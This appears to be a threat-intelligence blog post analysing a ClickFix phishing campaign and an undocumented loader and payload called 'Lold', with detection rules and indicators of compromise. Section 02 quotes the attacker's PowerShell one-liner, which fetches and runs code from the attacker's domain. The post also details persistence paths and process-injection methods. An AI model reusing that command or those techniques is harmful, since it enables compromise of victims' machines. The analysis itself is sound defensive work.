Zum Inhalt springen
[ MALWARE_ANALYSIS · 2026-09-24 ]

Lold: an undocumented loader behind a targeted ClickFix campaign

A German manufacturer received a fake procurement tender. Nobody clicked. I took the attack apart without running a single stage, broke the loader's custom cipher, and found the command-and-control server in plaintext. The hosting provider took it down the same evening.

AUTHOR
Roman Kobosil
METHOD
Static only, never executed
FAMILY
Lold (LOLD_CFG_V1)
C2 STATUS
Suspended 2026-09-24
[ KILL_CHAIN ]

From inbox to C2 in seven hops

  1. 01 · MAIL Fake tender EUR 1.4 m, tracking pixel, recipient in Base64
  2. 02 · PAGE ClickFix room 0-byte PDF, fake error, Win+R
  3. 03 · PS ×5 PowerShell XOR · Base64 · reverse · GZip · 4 parts
  4. 04 · LOADER runtime.exe 325 KB MinGW, fake “Windows Update Assistant”
  5. 05 · OVERLAY ×6 Custom crypto shuffled Base85 · S-box · SplitMix64 · LZSS
  6. 06 · PAYLOAD Lold 430 KB, plaintext .loldcfg
  7. 07 · C2 217.217.97[.]60 chunked modules · taken down

HIGHLIGHTED STEP IS WALKED THROUGH INTERACTIVELY IN SECTION 4, USING THE REAL SAMPLE.

[ TL;DR ]
  • Initial access: spear-phishing with a fake EUR 1.4 million tender from a non-existent “NorderTextil GmbH, Kiel”, sent from nordertextil[.]de.
  • Execution: a fake document room shows a viewer error and asks the victim to press Win+R and paste a command (ClickFix). Every click produces a fresh command with a one-time token.
  • Staging: five PowerShell obfuscation layers drop a 325 KB MinGW loader to %LOCALAPPDATA%\OneCore\runtime.exe, disguised as “Windows Update Assistant”.
  • Loader: decrypts a 300 KB overlay with a custom scheme: shuffled Base85, a shuffled S-box, a SplitMix64 keystream and LZSS.
  • Payload “Lold”: carries its configuration in plaintext in a PE section named .loldcfg: C2, access key, project ID, build ID. It persists as fake OneDrive and Edge update components, injects into Windows system processes and pulls further modules from the C2 in chunks.
  • Assessment: build ID, project ID and a per-customer access key point to a malware-as-a-service kit. The lure fits business e-mail compromise against suppliers.

None of the hashes, the C2 address or the family name returned hits in public sources at the time of writing. YARA rules and a config extractor are published alongside this post.

01The lure

The mail arrived at 14:14 CEST in the company's general inbox. It announced a tender with 26 positions, a 14-day deadline and “protected documents” in a data room. The signature carries a street address in Kiel, a commercial register number, a VAT ID and a phone number. I have not verified whether these belong to a real company whose identity is being abused.

Two tracking mechanisms are built in: a pixel /px.gif?t=<id> and the link /enter?t=<id>, where <id> is the recipient's address in Base64 plus a random suffix. The attacker learns who opened the mail and who clicked.

The original Message-ID has the form <179025206954.632268.6044214835174888316@nordertextil.de>. That is the format of Python's email.utils.make_msgid(): time in hundredths of a second, process ID, a random 64-bit number and the host name. The timestamp decodes to 24 September 2026, 12:14:29 UTC, the minute the mail arrived. The campaign mails are very likely sent by a Python script. The domain was last changed on 12 September, twelve days before the attack.

02The ClickFix page

/enter leads to /room, a convincing document room that greets the victim with “Signed in as <recipient>”. It lists seven documents, among them Preisrahmen_Intern_VERTRAULICH.pdf (“internal price frame, confidential”) and Lieferantenliste_Bewerberstand.pdf (“supplier list, bidder status”).

The document I opened, /d/d7, was served as a PDF of 0 bytes. The viewer fails by design. Two seconds later a dialog offers a fix. The page script has two lure variants: repair (a missing component) and extension (a fake “Microsoft Zeichnungs-Viewer 2.4”).

“Copy code” first calls POST /api/poly-token for a fresh command per click, falls back to a static command in a hidden textarea, and reports every copy to /c/code_copy?lure=<variant>:

powershell -w h -c "iex(irm 'https://nordertextil[.]de/t/pcmd2?k=<one-time token>')"

A consumed or missing token returns HTTP 404 with the four-byte body gone. Without a fresh token there is no payload, which also defeats URL scanners and sandboxes. The page itself contains no exploit: it only writes to the clipboard after a click and reports that click.

03PowerShell stages

With a fresh token and a PowerShell user agent, /t/pcmd2 returned 1,368,658 bytes.

StageTransformation
2XOR with the 4-byte key 66 70 5C A5
3Base64
4reversed Base64 string
5GZip
6dropper script with four Base64+GZip parts

Stage 6 joins the parts into a 325,164-byte PE, writes it to %LOCALAPPDATA%\OneCore\runtime.exe and starts it with Start-Process -WindowStyle Hidden.

04The loader and its overlay cipher

SHA-256172a65b415e86a76a570cb32cd0122ce49e53a164323804e391d13e7c8534efe
CompilerMinGW-w64, GCC 16.1.0 (MSYS2)
Compiled2026-09-23 19:40:38 UTC, the evening before the mail
Version info“Windows Update Assistant”, Microsoft Corporation, internal name msedgeupdate
imphashb6b59ef3367a46438a4bf02615606681

The loader imports GetLastInputInfo, GetTickCount64 and GetSystemMetrics and reads the user's Shell Folders from the registry: the usual checks against analysis machines without user activity, short uptime or small screens. I did not trace the thresholds.

Its real content is a 300,076-byte overlay behind the last section: a 16-byte header, then Base85 text. I reconstructed the decryption from the disassembly and verified it by decrypting the sample. The lab below runs that algorithm live in your browser on the real header and the first 80 characters of the real overlay. Step through it, or play the shuffles.

[ OVERLAY_DECRYPTION_LAB ] COMPUTING…

COMPUTED IN YOUR BROWSER WITH BIGINT. THE EXCERPT IS 96 BYTES OF THE 300,076-BYTE OVERLAY AND CANNOT BE TURNED INTO THE MALWARE.

05The payload: Lold

SHA-2560dbd43be751c94a66b3983c0f1d95fe61505e86af578bb39d864e901aeaff48c
MD531e6a6e536170537d0613470dbb24041
Compiled2026-09-18 21:27:45 UTC
imphash7be476d096ff2d43b2380de66c82171e
Sections.text .rdata .data .loldcfg .bss .idata .CRT .tls .reloc

Plaintext configuration

The .loldcfg section is not encrypted. It starts with LOLD_CFG_V1 and holds fixed-size, null-terminated slots. Field names are my interpretation from the payload's log strings. Paths are relative to %LOCALAPPDATA%. The meaning of the four integers is not established.

0x0000  magic                   LOLD_CFG_V1
0x0010  c2_url                  hxxp://217.217.97[.]60:8093
0x0110  access_key              k_e67c43dfd69c2b00eed5694924d00defcd14c9d99d5d4c26
0x0210  (uint32)                1800
0x0214  payload_mode            chunks
0x0234  project_id              p_c835a4a0e07d2f8c
0x02b4  chunk_access_key        k_e67c43dfd69c2b00eed5694924d00defcd14c9d99d5d4c26
0x03b4  build_name              bld_cmXK0iT1bOUShlUnL9PbCJr7.exe
0x0434  (uint32)                512
0x0438  (uint32)                1024
0x043c  install_path_primary    Microsoft\SyncServices\SyncService.exe
0x0540  install_path_secondary  Microsoft\OneDriveStandalone\OneDriveUpdate.exe
0x0644  sideload_dll            Microsoft\SyncServices\SyncHelper.dll
0x0748  runstate_file           Microsoft\SyncServices\runstate.bin
0x084c  manifest_cache          Microsoft\SyncServices\manifest.json
0x0950  settings_file           Microsoft\SyncServices\settings.dat
0x0a54  cache_file              Microsoft\OneDriveStandalone\cache.dat
0x0b58  sync_file               Microsoft\DeviceSync\sync.dat
0x0c5c  state_file              Microsoft\Terminal Server Client\state.bin
0x0d60  run_key_prefix          OneDriveSync_
0x0de0  scheduled_task_prefix   MicrosoftEdgeUpdateTask_
0x0e60  timer_name              LoldTimer
0x0ee0  console_name            LoldCons
0x0f60  com_clsid               LOLD_COM_CLSID_PLACEHOLDER
0x0fa0  (uint32)                30
0x0fac  fake_company            Microsoft Corporation
0x102c  fake_description        OneDrive sync updater

The unfilled LOLD_COM_CLSID_PLACEHOLDER suggests that a builder patches this section per customer and left one slot at its default.

Capabilities from strings and imports

I did not run the payload. Read these as capabilities present in the code, not as observed behaviour.

  • Persistence: copies to both install paths, a Run value OneDriveSync_*, a scheduled task MicrosoftEdgeUpdateTask_* described as “OneDrive sync updater”, and SyncHelper.dll for side-loading. Mutex Local\Lold_*.
  • Injection: four launch back-ends, GhostedHollowing, ElevatedGhostedHollowing, GhostedHollowingSelfDonor and ElevatedGhostedHollowingSelfDonor, built on NtCreateSection/NtMapViewOfSection, WriteProcessMemory and thread-context APIs including Wow64. Host processes in the strings: rekeywiz.exe, sndvol.exe, mobsync.exe, wermgr.exe, wscntfy.exe, notepad.exe.
  • Module loading: /manifest.json from the C2, then the parts from /chunks/ with an X-Chunk-Key header, with a local manifest cache. A log string states “Whole payload fallback disabled; payload loading is chunks-only”.
  • Communication: WinHTTP. BCrypt is imported for symmetric encryption. I have not determined the algorithm.
  • Other: commands via cmd.exe /C, and a WMI subscription on Win32_ProcessStartTrace for explorer.exe.

Lold looks like a first-stage framework: the actual goal (stealer, RAT, access for ransomware) arrives later as a module. Given the lure, credential theft and mailbox takeover for invoice fraud against the victim's customers is the most plausible intent. That part is inference, not evidence.

06Infrastructure and takedown

RoleIndicatorNetworkStatus
Lure and stagingnordertextil[.]deregistrar and mail: IONOSreported, changed 2026-09-12
Web server94.156.152[.]24AS214209reported
C2217.217.97[.]60:8093AS214961, block assigned 2026-06-29suspended 2026-09-24

I reported the C2 to its hosting provider at 20:42 CEST. The provider replied within minutes that the IP had been suspended, and at 20:46 the address no longer answered on ports 8093, 80, 443 or 22. Credit to them for a very fast response. A criminal complaint has been filed with the police. Registrar, CERT-Bund, Google Safe Browsing, Microsoft, APWG, URLhaus and ThreatFox have been notified.

07Detection

Three YARA rules:

  • Lold_Loader_Overlay_Decryptor: both seed constants as immediates, plus the Base85 source alphabet or the SplitMix64 constants.
  • Lold_Payload_Config: the LOLD_CFG_V magic or a .loldcfg section.
  • Lold_Payload_Behaviour_Strings: four of eight log, path and header strings, for variants with a renamed config section.

Tested against both samples, against mutated copies (each rule stops matching exactly when its features are removed) and against 4,998 benign PE files, 1,514 of them built with MinGW/GCC: no false positives. Caveat: delivery is polymorphic per click and I have one loader. The loader rule relies on code constants that may or may not survive rebuilding.

The extractor lold_extract.py takes loader or payload, decrypts in memory and prints the configuration as JSON. It writes the payload to disk only with --write-payload.

Hunting without YARA:

  • %LOCALAPPDATA%\OneCore\runtime.exe, %LOCALAPPDATA%\Microsoft\SyncServices\, %LOCALAPPDATA%\Microsoft\OneDriveStandalone\OneDriveUpdate.exe
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run values starting with OneDriveSync_
  • scheduled tasks starting with MicrosoftEdgeUpdateTask_ outside the Edge install
  • RunMRU entries starting with powershell -w h -c "iex(irm

08Indicators of compromise

# Network
nordertextil[.]de
hxxps://nordertextil[.]de/room
hxxps://nordertextil[.]de/enter
hxxps://nordertextil[.]de/t/pcmd2
hxxps://nordertextil[.]de/t/dokument281
hxxps://nordertextil[.]de/api/poly-token
94.156.152[.]24
217.217.97[.]60:8093
m.hollander@nordertextil[.]de

# Files (SHA-256)
172a65b415e86a76a570cb32cd0122ce49e53a164323804e391d13e7c8534efe  loader runtime.exe
0dbd43be751c94a66b3983c0f1d95fe61505e86af578bb39d864e901aeaff48c  payload Lold (decrypted)
c797db9ac34974dec1be1224419edc23fe26713ac78a27421d9b22887ef316a6  stage 2 PowerShell
c417d7efe9a1d64f0ebd48e20978e7ef657944297e1192643180a523e4c8cc02  stage 6 dropper script

# Config values
k_e67c43dfd69c2b00eed5694924d00defcd14c9d99d5d4c26   access key
p_c835a4a0e07d2f8c                                   project ID
bld_cmXK0iT1bOUShlUnL9PbCJr7                         build ID

# Host
%LOCALAPPDATA%\OneCore\runtime.exe
%LOCALAPPDATA%\Microsoft\SyncServices\SyncService.exe
%LOCALAPPDATA%\Microsoft\SyncServices\SyncHelper.dll
%LOCALAPPDATA%\Microsoft\OneDriveStandalone\OneDriveUpdate.exe
Run value OneDriveSync_*   ·   Task MicrosoftEdgeUpdateTask_*   ·   Mutex Local\Lold_*

09Takeaways

  • ClickFix bypasses mail security by design. No attachment, no exploit: the victim runs the payload. The rule that protects: no legitimate website ever asks you to paste something into Win+R. Where possible, restrict PowerShell and the Run dialog for standard users.
  • Per-click tokens hurt defenders. Scanners get gone. Collect with the victim's exact command and a fresh token, or not at all.
  • Plaintext configs are a gift. Heavy loader crypto plus a plaintext .loldcfg means every future sample hands over its C2 once the loader is understood.
  • Report fast. From decryption to a dead C2 took well under an hour.